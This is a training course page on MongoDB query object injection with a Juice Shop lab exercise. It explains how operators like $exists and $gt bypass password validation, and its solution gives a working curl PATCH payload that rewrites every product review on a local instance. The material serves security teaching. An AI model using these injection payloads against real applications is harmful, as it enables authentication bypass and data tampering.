Course Content

NoSQL Injection: MongoDb Query Object Injection

Talk Scope

  1. Learn about Mongo's Query Objects, and how they can circumvent server-side password validation
  2. Interactive Exercise: Reconnaissance of client-side javascript to find API endpoints and associated payload
  3. Interactive Exercise: Use Query Object injection to update all product reviews within Owasp's Juice Shop

Recap: What is NoSQL Injection (NoSQLi)?

  • Introduced when developers create dynamic database queries that include user supplied input (untrusted input)
  • What unexpected input types could we receive?
    • Binary
    • Query Object
    • Others

Query Objects

// Mongo shell syntax (dev syntax is very similar)
db.accounts.find({username: username_value, password: password_value});

// Find method signature
db.collection.find(query[[[, fields], options], callback]);
  • {username: username_value, password: password_value}
    • Query Object that can be leveraged to validate username/password
      • Query Objects contain logic
      • If more than one field is specified, it's an AND query

Exercise: Evaluating Injection Risks

db.accounts.find({username: username_value, password: password_value});
  • BSON injection course recap
    • Validation issues within an underlying library could allow an attacker to inject username_value / password_value with unexpected characters
  • Assume that the underlying libraries are validating correctly, how could one attack username_value / password_value?
    • Hint: Usually the issues are right in front of you
  • Answer: Nested Query Objects

Example: Query Object Injection

db.accounts.find({username: username_value, password: password_value});
  • Set password_value equal to another query object
  • What is $exists?
    • Query Operator

Query Operator Attack Vector

  • To subvert the validation condition, an attacker can try to inject query objects that evaluate to true

Query Operators

  • Query Operators
    • Comparison
    • Ex: {$gt: 0}
    • Logical
      • Ex: {$not: ""}
    • Element
      • Ex: {$exists: true}
    • Evaluation
      • $where
      • Matches documents that satisfy a JavaScript expression
    • Comment
      • db.collection.find( { <query>, $comment: <comment> } )
        • XSS Log injection

Exercise Overview

  • Scenario
    • You are a Juice Shop owner and you're trying to degrade the reputation of your competition
    • You want all preexisting reviews to be altered and display your message
    • Threat modeling
      • The financially motivated attacker
      • Not always "You've been PAWNED! You suck! Muhaha"
  • Attack Steps
    1. Evaluate client-side code to find API endpoint
    1. Leverage query object injection to update all reviews

Exercise Setup

  1. docker run -p 3000:3000 securingthestack/juice-shop:nosqli-object-injection
  2. View http://localhost:3000 in Google Chrome
  3. Create new user and log in
  4. Chrome Dev Tools
    1. dist/juice-shop.min.js
    2. Pretty Print
      1. Search for patch
  5. Click on a product from the main page and submit a product review
    1. Copy as cURL to give yourself a template

Exercise Assignment

  • Leverage the code (relevant code linked to patch), curl template, and query object injection to update every review on the site
  • Hint
    • Focus on the id field for the query object injection
    • { "id": X, "message": X }

Solution: Find Patch Data

Solution: Construct Payload

Solution: Find API endpoint URL

Solution: Construct cURL command

curl 'http://localhost:3000/rest/product/reviews' -X PATCH -H 'Pragma: no-cache'
-H 'Origin: http://localhost:3000' -H 'Accept-Encoding: gzip, deflate, br' -H
'Accept-Language: en-US,en;q=0.9' -H 'Authorization: Bearer
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6OSwiZW1haWwiOiJmb29AZm9vLmNvbSIsInBhc3N3b3JkIjoiZmRiYTk4OTcwOTYxZWRiMjlmODgyNDFiOWQ5OWQ4OTAiLCJjcmVhdGVkQXQiOiIyMDE4LTA3LTIyIDIyOjA4OjE4LjA0OSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTA3LTIyIDIyOjA4OjE4LjA0OSArMDA6MDAifSwiaWF0IjoxNTMyMjk3MzE4LCJleHAiOjE1MzIzMTUzMTh9.u19Fl-GcuZvNSaFDgzYFIKFrnpGnhTZTMqV0s-ZVSB7cJDWPaLgfdG3hYA0Wb7MgbZQFzHV_BcLzoHKRkJe-T_p_8E6LhUyr9A6VWbTt9f9IHEyeXH6EqmuM3WkeTkB8cgDqVpOiLLz8K9U6-B6z5yThnECwKbrinRTWgoT2g3E'
-H 'Content-Type: application/json;charset=UTF-8' -H 'Accept: application/json,
text/plain, */*' -H 'Cache-Control: no-cache' -H 'User-Agent: Mozilla/5.0
(Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/67.0.3396.99 Safari/537.36' -H 'Cookie:
connect.sid=s%3AkVWjF7LgDglaiBddGx4d-i0ZZIkXRC7T.atB7Ffy5NCMywjOCiL51vNAcWb5rt5aCw%2BuS5x7eWMw;
cookieconsent_status=dismiss; language=en;
i18next=en;
continueCode=DLz1ZK8EnQbOajlDeV71P9Jp5wyLA6m0oMBN2XrKx4RmvzZ6k3YqWgaE74yj;
io=rwn8sIR1IsKAeZhUAAAD;
token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6OSwiZW1haWwiOiJmb29AZm9vLmNvbSIsInBhc3N3b3JkIjoiZmRiYTk4OTcwOTYxZWRiMjlmODgyNDFiOWQ5OWQ4OTAiLCJjcmVhdGVkQXQiOiIyMDE4LTA3LTIyIDIyOjA4OjE4LjA0OSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTA3LTIyIDIyOjA4OjE4LjA0OSArMDA6MDAifSwiaWF0IjoxNTMyMjk3MzE4LCJleHAiOjE1MzIzMTUzMTh9.u19Fl-GcuZvNSaFDgzYFIKFrnpGnhTZTMqV0s-ZVSB7cJDWPaLgfdG3hYA0Wb7MgbZQFzHV_BcLzoHKRkJe-T_p_8E6LhUyr9A6VWbTt9f9IHEyeXH6EqmuM3WkeTkB8cgDqVpOiLLz8K9U6-B6z5yThnECwKbrinRTWgoT2g3E'
-H 'Connection: keep-alive' -H 'Referer: http://localhost:3000/' -H 'DNT: 1'
--data-binary '{ "id": { "$exists": true }, "message": "I cant believe how SOUR this juice
    was!!" }' --compressed

Takeaways

  • Attackers profile Javascript to deduce admin functionality (or functionality that isn't immediately available within the application)
  • Input Validation
    • Regular Expressions aren't enough, we must also validate type
Discussion

0 comments